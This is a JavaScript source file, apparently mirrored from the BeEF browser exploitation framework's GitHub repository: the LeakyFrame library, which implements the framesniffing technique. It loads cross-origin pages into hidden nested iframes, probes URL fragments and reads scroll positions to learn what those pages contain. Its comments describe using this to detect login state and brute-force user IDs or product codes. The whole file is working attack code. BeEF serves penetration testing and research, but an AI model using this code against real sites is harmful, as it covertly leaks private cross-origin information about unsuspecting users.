Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/iframe_sniffer/leakyframe.js
1154 views
1
/**
2
* LeakyFrame JS Library
3
*
4
* Copyright (c) 2012 Paul Stone
5
*
6
* Permission is hereby granted, free of charge, to any person obtaining a copy of this
7
* software and associated documentation files (the "Software"), to deal in the Software
8
* without restriction, including without limitation the rights to use, copy, modify,
9
* merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
10
* permit persons to whom the Software is furnished to do so, subject to the following
11
* conditions:
12
*
13
* The above copyright notice and this permission notice shall be included in all copies
14
* or substantial portions of the Software.
15
*
16
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
17
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
18
* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
19
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
20
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
21
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
22
*
23
*/
24
25
26
/*
27
28
This JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique.
29
Currently (as of Mar 2012) the technique works in IE8, IE9 and most
30
webkit-based browsers.
31
32
Example usage:
33
34
new LeakyFrame('http://example.com', function(frame) {
35
if (frame.checkID('login-form')) {
36
alert("You're not logged in");
37
frame.remove();
38
return;
39
}
40
41
var anchors = {'foo', 'bar', 'baz'};
42
var frags = frame.findFrags(anchors);
43
alert('Found the following anchors on the page: ' + frags.join(', '));
44
}
45
46
47
Redirects
48
---------
49
Make sure that the URL you're loading doesn't redirect to a different URL,
50
as this can break anchor checking in some browsers and will slow down
51
checks for multiple anchors (e.g. brute-forcing).
52
53
E.g. You create LeakyFrame with http://foo.com/somepage and it redirects
54
to http://foo.com/somepage?98723945
55
56
The reason for this is that the JS code can't know the URL that the frame
57
has redirected to (due to same-origin policy). When changing the #fragment
58
at the end of the URL to check for an anchor, the entire URL must be
59
reset using window.location. So if a redirect has occurred, the original
60
URL will be loaded in the iframe, causing a full page load and another
61
redirect to occur.
62
63
Some browsers will preserve URL fragments across page redirects (Chrome
64
does, and I think IE10 does now too). For those browsers you can create
65
a LeakyFrame and pass in a URL with an fragment already on the end, then
66
call frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs
67
and findFirstMatchingURL methods should also work with redirects.
68
69
*/
70
71
/**
72
* Creates a new LeakyFrame object
73
*
74
* This constructor creates a nested iframes and loads 'url' into the inner one
75
* The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer
76
* frame to scroll when checking for anchors.
77
*
78
* @param url - URL to load into the iframe.
79
* @param callback - A function that will be called when the frame has loaded. The
80
* the callback function will be passed the newly created LeakyFrame object
81
* @param debug - If true, the created frames will be made visible and outer
82
* frame will be made larger (140x140)
83
*/
84
function LeakyFrame(url, callback, debug) {
85
var outer = document.createElement('iframe');
86
outer.setAttribute('frameBorder', '0');
87
outer.setAttribute('scrolling', 'no')
88
document.body.appendChild(outer);
89
90
outer.contentWindow.document.open();
91
outer.contentWindow.document.close();
92
93
var inner = outer.contentWindow.document.createElement('iframe');
94
inner.setAttribute('frameBorder', '0');
95
96
outer.contentWindow.document.body.style.margin = 0;
97
outer.contentWindow.document.body.style.padding = 0;
98
inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;');
99
100
if (!debug)
101
outer.setAttribute('style', 'border:none;opacity:0');
102
103
outer.contentWindow.document.body.appendChild(inner);
104
105
outer.width = 10;
106
outer.height = 10;
107
if (debug) {
108
outer.width=140;
109
outer.height=140;
110
}
111
this.outer = outer; // outer iframe element
112
this.inner = inner; // inner iframe element
113
this.innerWin = inner.contentWindow; // window object of outer iframe
114
this.outerWin = outer.contentWindow; // window object of inner iframe
115
this.outerDoc = outer.contentWindow.document; // document of outer iframe
116
this.removed = false;
117
if (callback)
118
this.load(url, callback);
119
}
120
121
/**
122
* Load a new URL into the inner iframe and do a callback when it's loaded
123
*/
124
LeakyFrame.prototype.load = function(url, callback) {
125
this.inner.contentWindow.location = url;
126
var me = this;
127
var f = {};
128
f.fn = function() {
129
if (me.inner.removeEventListener)
130
me.inner.removeEventListener('load', f.fn);
131
else if (me.inner.detachEvent)
132
me.inner.detachEvent('onload', f.fn);
133
134
me.currentURL = me._stripFragment(url);
135
if (callback)
136
callback(me);
137
}
138
if (this.inner.addEventListener)
139
this.inner.addEventListener('load', f.fn, false);
140
else if (this.inner.attachEvent)
141
this.inner.attachEvent('onload', f.fn);
142
}
143
144
145
/**
146
* Find the current scroll position of the outer iframe
147
* (should correspond to the position of the current anchor
148
* in the inner iframe)
149
* @return object with .x and .y properties
150
*/
151
LeakyFrame.prototype.getPos = function() {
152
var x = this.outerDoc.body.scrollLeft;
153
var y = this.outerDoc.body.scrollTop;
154
return {x:x, y:y};
155
}
156
157
158
/**
159
* Reset the scroll position of the iframe
160
*/
161
LeakyFrame.prototype.resetPos = function() {
162
this.outerWin.scrollTo(0,0);
163
}
164
165
/**
166
* Checks if the iframe has scrolled after being reset
167
*/
168
LeakyFrame.prototype.nonZero = function() {
169
var pos = this.getPos();
170
return (pos.x > 0 || pos.y > 0);
171
};
172
173
/**
174
* Check if anchor 'id' exists on the currently loaded page
175
* This works by first resetting the scroll position, adding
176
* #id onto the end of the current URL and then seeing if
177
* the scroll position has changed.
178
*
179
* Optional parameters x and y specify the initial scroll
180
* position and default to 0. Useful in some cases where
181
* weird scrolling behaviour causes the page to scroll to
182
* (0,0) if an anchor is found.
183
*
184
* @return boolean - true if the anchor exists
185
*/
186
LeakyFrame.prototype.checkID = function(id, x, y) {
187
if (!x) x = 0;
188
if (!y) y = 0;
189
this.outerWin.scrollTo(x,y);
190
this.innerWin.location = this.currentURL + '#' + id;
191
var result = this.getPos();
192
return (result.x != x || result.y != y);
193
}
194
195
/**
196
* Given an array of ids, will check the current page to see which
197
* corresponding anchors exist. It will return a dictionary of
198
* positions for each matched anchor.
199
*
200
* This can be incredibly quick in some browsers (checking 10s or
201
* 100s of IDs per second), so could be used for things like
202
* brute-forcing things like numeric user IDs or lists of product
203
* codes.
204
*
205
* @param ids - an array of IDs to be checked
206
* @param templ - optional template which is used to make the URL
207
* fragment. If the template is 'prod{id}foo' and you pass in the
208
* array [5,6,7], then it will check for anchors:
209
* prod5foo, prod6foo and prod7foo
210
* @return a dictionary containing matched IDs as keys and an
211
* array [x,y] as values
212
*/
213
LeakyFrame.prototype.findFragPositions = function(ids, templ) {
214
this.outerWin.scrollTo(0,0);
215
if (templ) {
216
var newids = [];
217
for (var i = 0; i < ids.length; i++)
218
newids.push(templ.replace('{id}', ids[i]));
219
} else {
220
newids = ids;
221
}
222
var positions = {};
223
for (var i = 0; i < ids.length; i++) {
224
var id = newids[i];
225
//this.outerWin.scrollTo(0,0);
226
this.innerWin.location = this.currentURL + '#' + id;
227
var x = this.outerDoc.body.scrollLeft;
228
var y = this.outerDoc.body.scrollTop;
229
230
if (x || y) {
231
positions[ids[i]] = [x, y];
232
this.outerWin.scrollTo(0,0);
233
}
234
}
235
return positions;
236
}
237
238
/**
239
* Same as findFragPositions but discards the positions
240
* and returns only an array of matched IDs.
241
*/
242
LeakyFrame.prototype.findFrags = function(ids, templ) {
243
var found = this.findFragPositions(ids, templ);
244
var ids = [];
245
for (var id in found)
246
ids.push(id);
247
return ids;
248
}
249
250
LeakyFrame.prototype._stripFragment = function(url) {
251
var pos = url.indexOf('#');
252
if (pos < 0) return url;
253
this.loadFrag = url.substr(pos+1);
254
return url.substr(0, pos)
255
}
256
257
/**
258
* Removes the iframe from the document.
259
* If you're creating lots of LeakyFrame instances
260
* you should call this once you're done with each
261
* frame to free up memory.
262
*/
263
LeakyFrame.prototype.remove = function() {
264
if (this.removed) return;
265
this.outer.parentNode.removeChild(this.outer);
266
this.removed = true;
267
}
268
269
270
/**
271
* Load a bunch of URLs to find which ones have a matching fragment
272
* (i.e. cause the page to scroll). (static method)
273
*
274
* @param url - a base URL to check with {id} where id will go
275
* (e.g http://www.foo.com/userprofile/{id}#me)
276
* @param ids - dictionary of key:value pairs. the keys will be
277
* used to replace {id} in each url
278
* @param callback - a function that gets called when an id is found.
279
* It gets passed the matching key and value
280
* @param finishedcb - a function that gets called when all the urls
281
* have been checked. It gets passed true if any URLs were matched
282
*/
283
LeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) {
284
var maxConcurrent = 3;
285
var inProgress = 0;
286
var todo = [];
287
var interval;
288
var loadCount = 0;
289
var allFound = {};
290
var allPositions = {};
291
var framePool = {};
292
var found = 0;
293
var cancelled = false;
294
for (var key in ids) {
295
todo.push(key);
296
loadCount++;
297
}
298
299
var cancel = function() {
300
cancelled = true;
301
for (var i in framePool)
302
framePool[i].remove();
303
if (interval)
304
window.clearInterval(interval);
305
}
306
307
var cb = function(f, foundFrag) {
308
inProgress--;
309
loadCount--;
310
311
if (f.nonZero()) {
312
found++;
313
var foundVal = ids[foundFrag];
314
var foundPos = f.getPos();
315
allFound[foundFrag] = foundVal;
316
allPositions[foundFrag] = foundPos;
317
318
if (!cancelled)
319
callback(foundFrag, foundVal, foundPos, allFound, allPositions);
320
if (stopOnFirst)
321
cancel();
322
}
323
if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany
324
(loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found)
325
finishedcb(found > 0, allFound, allPositions);
326
f.remove();
327
delete framePool[foundFrag];
328
}
329
330
var loadMore = function() {
331
if (todo.length == 0) {
332
// no more ids to do
333
window.clearInterval(interval);
334
interval = null;
335
}
336
if (inProgress >= maxConcurrent) {
337
// queue full, waiting
338
return;
339
}
340
var loops = Math.min(maxConcurrent - inProgress, todo.length);
341
for (var i=0; i < loops; i++) {
342
inProgress++;
343
var nextID = todo.shift();
344
var thisurl = url.replace('{id}', nextID);
345
346
framePool[nextID] = new LeakyFrame(thisurl, function(n){
347
return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome
348
}(nextID)
349
);
350
}
351
}
352
interval = window.setInterval(loadMore, 500);
353
}
354
355
356
/**
357
* Same as findManyMatchingURLs but stops after the first match is found
358
*
359
* @param url - a base URL to check with {id} where id will go
360
* (e.g http://www.foo.com/userprofile/{id}#me)
361
* @param ids - dictionary of key:value pairs. the keys will be used to
362
* replace {id} in each url
363
* @param successcb - a function that gets called when an id is found.
364
* It gets passed the matching key and value
365
* @param failcb - a function that gets called if no ids are found
366
* @param finalcb - a function that gets called after either sucess or failure
367
*/
368
LeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) {
369
var s = function(k, v) {
370
successcb(k, v);
371
if (finalcb)
372
finalcb();
373
}
374
var f = function() {
375
if (failcb)
376
failcb();
377
if (finalcb)
378
finalcb();
379
}
380
return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true);
381
}
382
383